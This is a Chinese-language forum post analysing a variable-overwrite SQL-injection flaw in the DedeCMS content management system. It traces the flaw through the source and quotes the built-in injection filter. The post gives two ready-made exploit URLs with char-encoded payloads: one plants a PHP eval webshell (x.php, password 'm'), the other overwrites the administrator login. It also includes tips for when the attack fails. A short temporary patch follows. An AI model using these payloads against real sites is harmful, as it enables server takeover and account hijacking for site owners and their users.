信息安全交流論壇
作者:y0umer
DEDECMS變量覆蓋漏洞分析
昨天暗月凌晨找我搞基.他分析了此漏洞.所以才有得此文.
DEDECMS為什么那么多變量覆蓋呢? 是因為程序員懶啊! 我也不去批評程序員了.因為我也是一個程序員,程序員何必為難程序員呢?
好的.漏洞開始.
首先,根據發布出來的文章可以斷定.又是一個插件引發的悲劇.
看代碼:
/plus/donwload.php
當然,光憑這幾句代碼無法發現問題.那么我們繼續追蹤.
來到了
/include/dedesql.class.php
注冊了一個全局變量 arrs1 ..
我們在來到dedecms的初始化文件..
/include/common.inc.php
確實有過濾了,但是只限於關鍵字:cfg_|GLOBALS|_GET|_POST|_COOKIE
我們在追回
/include/dedesql.class.php
$sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);
此段代碼調用了一個函數str_replace 為了方便閱讀.php手冊搜索之 :str_replace
恩 你沒聽錯..字符串替換.
當然,他是想把$prefix的值,替換成在$GLOBALS中的cfg_dbprefix... 然后返回給$sql變量..
然后這里給querySrting屬性賦了值.把剛才的$sql 直接賦值給 queryString
下面我說說重量級的ExecuteNoneQuery2 其實他和ExecuteNoneQuery區別就是ExecuteNoneQuery 多了一個安全檢測的選項:
然后我們看看這個大名鼎鼎的SAFEcheck
如果SQL語句是select 的話,就是否有$notallow1 值的內容。。
具體的代碼防注入代碼在這里:
//SQL語句過濾程序,由80sec提供,這里作了適當的修改
if (!function_exists('CheckSql'))
{
function CheckSql($db_string,$querytype='select')
{
global $cfg_cookie_encode;
$clean = '';
$error='';
$old_pos = 0;
$pos = -1;
$log_file = DEDEINC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';
$userIP = GetIP();
$getUrl = GetCurUrl();
//如果是普通查詢語句,直接過濾一些特殊語法
if($querytype=='select')
{
$notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";
//$notallow2 = "--|/\*";
if(preg_match("/".$notallow1."/i", $db_string))
{
fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");
}
}
//完整的SQL檢查
while (TRUE)
{
$pos = strpos($db_string, '\'', $pos + 1);
if ($pos === FALSE)
{
break;
}
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (TRUE)
{
$pos1 = strpos($db_string, '\'', $pos + 1);
$pos2 = strpos($db_string, '\\', $pos + 1);
if ($pos1 === FALSE)
{
break;
}
elseif ($pos2 == FALSE || $pos2 > $pos1)
{
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
//老版本的Mysql並不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以檢查它
if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="union detect";
}
//發布版本的程序可能比較少包括--,#這樣的注釋,但是黑客經常使用它們
elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)
{
$fail = TRUE;
$error="comment detect";
}
//這些函數不會被使用,但是黑客會用它來操作文件,down掉數據庫
elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="slown down detect";
}
elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="slown down detect";
}
elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="file fun detect";
}
elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="file fun detect";
}
//老版本的MYSQL不支持子查詢,我們的程序里可能也用得少,但是黑客可以使用它來查詢數據庫敏感信息
elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
{
$fail = TRUE;
$error="sub select detect";
}
if (!empty($fail))
{
fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
}
else
{
return $db_string;
}
}
當然,這和我們的主題一點關系都沒。因此就不追究了。
繼續看ExecuteNoneQuery2
定義函數方法在這里:
function ExecuteNoneQuery2($sql='')
{
global $dsql;
if(!$dsql->isInit)
{
$this->Init($this->pconnect);
}
if($dsql->isClose)
{
$this->Open(FALSE);
$dsql->isClose = FALSE;
}
if(!empty($sql))
{
$this->SetQuery($sql);
}
if(is_array($this->parameters))
{
foreach($this->parameters as $key=>$value)
{
$this->queryString = str_replace("@".$key,"'$value'",$this->queryString);
}
}
$t1 = ExecTime();
mysql_query($this->queryString,$this->linkID);
紅色代碼部分:
當傳入的$sql不為空是,就開始替換表前綴..
function SetQuery($sql)
{
$prefix="#@__";
$sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);
$this->queryString = $sql;
}
但是在替換的途中。$GLOBALS['cfg_dbprefix']是可以被覆蓋的。那么因此。$GLOBALS['cfg_dbprefix']是我們可以控制的。、
然而在回到我們的/plus/download.php 文件。
/*------------------------
//提供軟件給用戶下載(舊模式)
function getSoft_old()
------------------------*/
else if($open==1)
{
//更新下載次數
$id = isset($id) && is_numeric($id) ? $id : 0;
$link = base64_decode(urldecode($link));
$hash = md5($link);
$rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");
if($rs <= 0)
{
$query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";
$dsql->ExecNoneQuery($query);
}
header("location:$link");
exit();
}
注意。調用了ExecuteNoneQuery2 也就是說,過了80sec防注入的方法。可以隨心所欲了。
在來回顧下
function CheckRequest(&$val) {
if (is_array($val)) {
foreach ($val as $_k=>$_v) {
if($_k == 'nvarname') continue;
CheckRequest($_k);
CheckRequest($val[$_k]);
}
} else
{
if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$val) )
{
exit('Request var not allow!');
}
}
}
//var_dump($_REQUEST);exit;
CheckRequest($_REQUEST);
我們知道,$_REQUEST 預定義變量支持的HTTP方式有:GET,POST,COOKIE.
然而..我們只過濾了GLOBALS這個關鍵字..
因此結合以上分析,得出的結論是:
訪問: source/dedecms/plus/donwload.php?open=1&arrs1[]=修改管理員的char編碼的sql語句。
具體的char編碼請看:
利用此漏洞的唯唯一困難就是目標站一定要是默認表前綴。否則可能會出現錯誤問題.
利用mytag_js.php文件直接寫shell.
直接上代碼吧.
require_once(dirname(__FILE__).'/../include/common.inc.php');
require_once(DEDEINC.'/arc.partview.class.php');
if(isset($arcID)) $aid = $arcID;
$arcID = $aid = (isset($aid) && is_numeric($aid)) ? $aid : 0;
if($aid==0) die(" document.write('Request Error!'); ");
$cacheFile = DEDEDATA.'/cache/mytag-'.$aid.'.htm';
if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )
{
$pv = new PartView();
$row = $pv->dsql->GetOne(" SELECT * FROM `#@__mytag` WHERE aid='$aid' ");
if(!is_array($row))
{
$myvalues = "<!--\r\ndocument.write('Not found input!');\r\n-->";
}
else
{
$tagbody = '';
if($row['timeset']==0)
{
$tagbody = $row['normbody'];
}
else
{
$ntime = time();
if($ntime>$row['endtime'] || $ntime < $row['starttime']) {
$tagbody = $row['expbody'];
}
else {
$tagbody = $row['normbody'];
}
}
$pv->SetTemplet($tagbody, 'string');
$myvalues = $pv->GetResult();
$myvalues = str_replace('"','\"',$myvalues);
$myvalues = str_replace("\r","\\r",$myvalues);
$myvalues = str_replace("\n","\\n",$myvalues);
$myvalues = "<!--\r\ndocument.write(\"{$myvalues}\");\r\n-->\r\n";
file_put_contents($cacheFile, $myvalues);
/* 使用 file_put_contents替換下列代碼提高執行效率
$fp = fopen($cacheFile, 'w');
fwrite($fp, $myvalues);
fclose($fp);
*/
}
}
include $cacheFile;
直接把mytag 表的 tagbody字段的內容改成執行我們的SHELL,然后就會寫入文件到
$cacheFile = DEDEDATA.'/cache/mytag-'.$aid.'.htm';
然后會被include到本文件。 之后你就懂了。
因為是 $pv->SetTemplet($tagbody, 'string'); 會按照dede的標簽庫來執行。
所以update 的內容一定要符合dedecms 的標簽
{dede:php}.這里就是php的原生語句了{/dede}
在來總結一下失敗的原因:
修改管理員帳號和密碼失敗的原因:
一、表前綴和update 時的表前綴不一致
二、沒有想過id的管理員可以update 也就是說沒有符合where 的條件。
三、被鎖表了 (大站一般都是主從分離) 所以..
直接GETSHELL失敗的原因:
一、表前綴和update 時的表前綴不一致
二、Where 條件必須成立
三、Data目錄權限問題
四、Plus 目錄權限問題
好了,暫時就分析到這里。Exp就不寫了 提供兩個exp吧。
ID:1
plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35
注明:ID:1的是GETSHELL,plus根目錄下生成x.php 密碼是m
ID:2
/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35
注明:ID2是修改管理員的賬號和密碼,賬號是spider密碼admin
修復方案:在/include/common.inc.php 文件中找到
if (!defined('DEDEREQUEST'))
{
//檢查和注冊外部提交的變量 (2011.8.10 修改登錄時相關過濾)
function CheckRequest(&$val) {
if (is_array($val)) {
foreach ($val as $_k=>$_v) {
if($_k == 'nvarname') continue;
CheckRequest($_k);
CheckRequest($val[$_k]);
}
} else
{
if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$val) )
{
exit('Request var not allow!');
}
}
}
修改成:
if (!defined('DEDEREQUEST'))
{
//檢查和注冊外部提交的變量 (2011.8.10 修改登錄時相關過濾)
function CheckRequest(&$val) {
if (is_array($val)) {
foreach ($val as $_k=>$_v) {
if($_k == 'nvarname') continue;
CheckRequest($_k);
CheckRequest($val[$_k]);
}
} else
{
if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|arrs1|arrs2)#',$val) )
{
exit('Request var not allow!');
}
}
}
可以堅持到官方補丁之前。
轉載請注明來源·。謝謝








